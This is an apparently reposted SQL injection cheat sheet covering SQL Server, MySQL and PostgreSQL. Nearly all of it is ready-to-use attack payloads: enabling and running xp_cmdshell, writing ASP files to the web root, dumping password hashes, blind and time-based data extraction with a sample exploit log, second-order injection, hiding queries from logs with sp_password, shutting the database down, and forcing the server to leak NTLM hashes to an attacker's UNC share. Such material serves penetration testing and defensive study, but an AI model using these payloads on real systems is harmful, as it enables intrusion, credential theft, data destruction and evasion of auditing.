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Sql Injection Cheat Sheet(2)
2008/11/24 15:09

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping <ip address>'

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages
    master..sysmessages

  • Linked Servers
    master..sysservers

  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'
  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST,
    ... WHERE users NOT IN ('First User', 'Second User')
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)     -- very good one
  • Using Dirty Tricks
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article : Fast way to extract data from Error Based SQL Injections

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

  • Are we 'sa' ?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10);
    Sleep 10 seconds.

Covering Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1

  2. product.asp?name=Book
    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Some Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing files)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data inifile
    • By default it’s not avaliable !
      • create table foo( line blob );
        load data infile 'c:/boot.ini' into table foo;
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
    Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

  • MD5()
    MD5 Hashing
  • SHA1()
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS()
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION()
    Same as @@version

Second Order SQL Injections

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

References

Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.

ChangeLog

  • 15/03/2007 - Public Release v1.0
  • 16/03/2007 - v1.1
    • Links added for some paper and book references
    • Collation sample added
    • Some typos fixed
    • Styles and Formatting improved
    • New MySQL version and comment samples
    • PostgreSQL Added to Ascii and legends, pg_sleep() added blind section
    • Blind SQL Injection section and improvements, new samples
    • Reference paper added for MySQL comments
  • 21/03/2007 - v1.2
    • BENCHMARK() sample changed to avoid people DoS their MySQL Servers
    • More Formatting and Typo
    • Descriptions for some MySQL Function
  • 30/03/2007 v1.3
    • Niko pointed out PotsgreSQL and PHP supports stacked queries
    • Bypassing second MD5 check login screens description and attack added
    • Mark came with extracting NTLM session idea, added
    • Detailed Blind SQL Exploitation added
  • 13/04/2007 v1.4 - Release

To Do / Contact / Help

I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).

Copy From URL:http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#about

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